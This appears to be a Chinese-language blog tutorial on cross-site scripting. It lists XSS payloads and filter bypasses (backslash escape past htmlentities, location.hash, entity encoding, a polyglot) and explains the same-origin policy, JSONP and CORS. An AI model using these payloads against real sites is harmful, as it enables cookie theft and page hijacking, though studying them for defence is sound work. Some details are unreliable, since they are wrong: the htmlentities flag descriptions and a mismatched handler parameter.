XSS (Cross-Site Scripting,跨站脚本)

XSS是代码注入的一种,通过注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但也可以包括Java、VBScript、ActiveX、Flash或者HTML。

时至今日,很多网站都给关键Cookie增加了HTTPOnly属性,这意味着执行JavaScript已无法获得用户的登录凭证,虽然同源策略限制了JavaScript跨域执行的能力,但是XSS攻击依然可以理解为在用户浏览器上的代码执行漏洞,可以在悄无声息的情况下实现模拟用户的操作(比如文件上传等请求)

XSS漏洞类型

  • 反射型XSS:攻击具有一次性
  • 存储型XSS:攻击代码永久的存在服务器的数据库或文件中
  • DOM型XSS:一种特殊类型的反射性XSS,它是基于DOM文档对象模型的一种漏洞。DOM XSS是页面中原有的JavaScript代码执行后,需要进行DOM树节点的增加或者元素的修改,引入了被污染的变量,从而导致XSS

XSS的tricks

1
2
3
4
5
6
7
8
9
10
11
12
<img src=x onerror="alert(document.cookie)">            //由于不存在路径为/x的图片,则会报错触发onerror事件
<h1 onmousemove="alert(/XSS/)">this is a title</h1> //基本上所有的标签都可以使用on事件来触发恶意代码、
<script>alert(1)</script>
<iframe src="javascript:alert(1)"></iframe> //Javascript伪协议
<svg/onload=alert(1)>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4="></iframe> //除了Javascript伪协议外,还有其他伪协议可以在iframe标签中实现,例如data伪协议

<script type="text/javascript">window.location.href="跳转的目的地址";</script> //广告传播,跳转到目标地址
<script type="text/javascript">window. location.replace("跳转的目的地址");</script>
<script type="text/javascript">window. location.assign("跳转的目的地址");</script>

<input onfocus=write(1) autofocus> //h5特性的XSS

XSS过滤和绕过

过滤的两个层为WAF层代码层WAF(Web Application Firewall,Web应用防火墙) 层通常在代码外,主机层对HTTP应用请求一个过滤拦截器。代码层则在代码中直接实现对用户输入的过滤或引用第三方代码对用户输入进行过滤

  • 利用burpsuit对payload进行实体编码

    1
    <img scr=x onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;" />           
  • 如果过滤了Javascript的函数,如过滤“ eval( ”这种字符组合,那么就可以通过下面的方式绕过

    1
    2
    aaa=eval
    aaa("evil code")
  • 过滤引号但未过滤 “\“

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    <?php
    $name = $_GET['name'];
    $name = htmlentities($name,ENT_QUOTES);
    $address = $_GET['addr'];
    $address = htmlentities($address,ENT_QUOTES);
    ?>

    <!DOCTYPE html>
    <html>
    <head>
    <meta charset="gb18030">
    <title></title>
    </head>
    <body>
    <script>
    var url = 'http://null.com/?name=<?=$name?>'+'<?=$address?>';
    </script>
    </body>
    </html>

    输入点有两个,如果输入引号,会被编码成HTML实体字符,但是htmlentities函数并不会过滤 “\“ ,所以我们可以通过 “\“ 使得攻击语句逃逸:

    1
    var url = 'http://null.com/?name=name\'+';alert(1);//'

    name处末尾输入 “\“ ;在addr参数处闭合前面的Javascript语句,同时插入恶意代码。

进一步还可以使用 eval(window.name) 引入恶意代码或者使用Javascript中的 String.fromCharCode见others)来避免使用引号等被过滤的字符

  • 将payload藏在 location.hash

见others

1
127.0.0.1:8080/xss/8.php?name=aaa\addr=;eval(unescape(location.hash.slice(1)));//#alert('payload%20hide%20in%20hash');

payload藏在 location.hash中,则URL中 “#” 后的字符不会被发到服务器中,所以不存在被服务器过滤的情况

  • 反引号当字符串的边界符
1
127.0.0.1:8080/xss/8.php?name=aaa\&addr=p;alert(`反引号也可以用来作为边界符`);//

XSS常见payload

XSS payload大全

1
2
3
4
//非常牛的一句payload

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

Others

JavaScript伪协议

JavaScript伪协议实际上是把javascript: 后面的代码当JavaScript来执行,并将结果值返回给当前页面

如果javascript:URL 中的代码含多个语句,必须使用分号将这些语句分隔开

1
javascript:var now=new Date();"<h1>the time is:</h1>"+now;

当浏览器装载了这样的URL时,它将执行这个URL中包含的javascript代码,并把最后一条javascript语句的字符串值作为新文档的内容显示出来。这个字符串值可以含有HTML标记,并被格式化,其显示与其他装载进浏览器的文档完全相同

javascript URL 还可以只执行动作,不返回javascript语句

1
javascript:alert("hello world!")

通常我们想用javascript:URL执行某些不改变当前显示的文档的javascript代码。要做到这一点,必须确保URL中的最后一条语句没有返回值。一种方法是用void运算符显式地把返回值指定为underfined,只需要在javascript:URL的结尾使用语句void 0;即可

1
javascript:window.open("about:blank"); void 0;

同源策略

如果两个URL的protocolporthost都相同的话,则这两个URL是同源的。

使用AJAX技术(XMLHttpRequest对象),从一个网页去请求另一个网页资源时,违反浏览器同源策略限制,所引起的安全问题,称为跨域

1
http://news.company.com:81/dir/other.html          //http:protocol;port:81;host:news       

有哪些不受同源策略的限制

  • 页面上的链接
  • 重定向
  • 表单提交
  • 跨域资源的引入,比如:script、img、link、iframe

源的更改

满足某些限制条件的情况下,页面是可以修改它的源。脚本可以将document.domain的值设置为其当前域或者当前域的父域。如果将其设置为其当前域的父域,则这个较短的父域将用于后续源检查

如,假设http://store.company.com/dir/other.html文档中的一个脚本执行以下语句:

1
document.domain = "company.com";

这条语句执行后,页面将会成功地通过与http://company.com/dir/page.html的同源检测

端口号是由浏览器另行检查的。任何对document.domain的赋值操作,都会导致端口号被重写为null

解决跨域问题

  • JSONP解决跨域
  • CORS解决跨域

JSONP解决跨域

什么是JSONP,举个例子,就是 a.com/jsonp.html 想要获取 b.com/main.js 的数据,这个时候由于浏览器同源策略,是获取不到数据的,所以我们可以在 a.com/jsonp.html 创建一个 script 脚本,http://b.com/main.js?callback=xxx。在main.js中调用这个回调函数xxx,并且以JSON数据形式作为参数传递,完成回调。代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// a.com/jsonp.html中的代码
function addScriptTag(src) {
var script = document.createElement('script');
script.setAttribute("type","text/javascript");
script.src = src;
document.body.appendChild(script);
}
window.onload = function () {
addScriptTag('http://b.com/main.js?callback=foo');
} //window.onload是为了让页面加载完成后再执行
function foo(data) {
console.log(data.name+"欢迎您");
};

//b.com/main.js中的代码
foo({name:"hl"})
存在的问题
  • 只能使用GET方式,无法使用POST方式
  • 可能被注入恶意代码,篡改页面内容,可以采用字符串过滤来规避此问题

CORS解决跨域

CORS是一个W3C标准,全称是“跨域资源共享”(Cross-origin resource sharing)

它允许浏览器向跨源服务器,发出XMLHttpRequest请求,从而克服了AJAX只能同源使用的限制。

如在b.com里面添加响应头声明允许a.com的访问

1
Access-Control-Allow-Origin: http://a.com

然后a.com就可以用ajax获取b.com里的数据了。

回调函数

虽然浏览器限制了非同源网站不能直接访问,但是并没有对资源文件(如图片img,脚本script)进行限制,所以绕过这一层的方法就是,我们把api请求当作一个js文件引入,在服务端使用一层函数将返回数据包包裹成一行javascript代码

所以这个回调函数就是你和api方面约定好的一个名称。当你请求api时,他就会使用你提供的函数名称包装返回的数据,来去请求你约定的函数

1
2
3
4
5
6
7
<script>
function getGPS(data){
//do something for data
}
</script>

<script src = "请求地址&callback=getGPS">

这样请求到的数据直接以getGPS(返回数据)的形式返回了回来,(返回数据)直接被当作实参传给了预写的函数(data)中作为实参。也就是说,此时的GPS(data) = getGPS(‘返回数据’),所以预写的函数直接被调用了

String.fromCharCode()

将Unicode编码转为一个字符

1
2
3
var n = String.fromCharCode(72,69,76,76,79)

//输出结果:HELLO

location.hash

锚点

url,如 http://www.test.com/#/something

其中 http://www.test.com 为真实的路径,而 #/something 则为网页中的位置,称之为 锚点

在访问锚点时会自动跳到锚点所在的网页位置,通常有两种方式作为锚点

1
2
<a name="something"></a>
<element id="something"></element>

以上两种均可通过 http://www.test.com/#/something 使页面滚动到该元素的位置

hash

location.hash可读可写

1
2
3
//URL:http://www.test.com/#/something
location.hash; // 输出 #/something
location.hash = '#/test1'; //http://www.test.com/#/test1

在对hash写时要注意一个地方,如下所示:

1
2
3
//URL:http://www.test.com/
location.hash = '#/test' //http://www.test.com/#/test
location.hash = '/#/test' //http://www.test.com/#/#/test

当写入的第一个字符不为 ‘#’ 时会自动地在字符串之前生成一个 ‘#’ ,再把字符串追加到生成的 # 后面

onhashchange事件

在hash值发生变化后会触发该事件

1
2
3
window.onhashchange = function(a){
console.log(e);
}

JS 反引号

字符串换行

1
2
3
const str = `this
is a string`;
console.log(str);

格式化字符串

1
2
3
const name = "tom";
const str = `hey, ${name}, ${1+1}, ${Math.random()}`;
console.log(str)

调用函数

1
2
3
4
5
6
const name = 'zs';
const gender = true;
function myTagFunc(strings){
console.log(strings);
}
const str = myTagFunc`你好!${name}是一个${gender}` ;

htmlentities()

将所有适用的字符转换为HTML实体

1
htmlentities(str,flags,character-set,double-encode)
  • str - 要转换的字符串
  • flags
    • ENT_COMPAT - 默认,仅编码单引号
    • ENT_QUOTES - 编码单引号和双引号
    • ENT_NOQUOTES - 不编码任何引号
  • character-set - 要使用的字符集

例子:

1
2
3
4
5
<?php
$str = "Jane & 'Tarzan'";
echo htmlentities($str);
echo htmlentities($str, ENT_QUOTES);
?>

上面代码的HTML输出:

1
2
3
4
5
6
<html>
<body>
Jane &amp; 'Tarzan'
Jane &amp; &#039;Tarzan&#039;
</body>
</html>

上面代码的浏览器输出:

1
2
Jane & 'Tarzan'
Jane & 'Tarzan'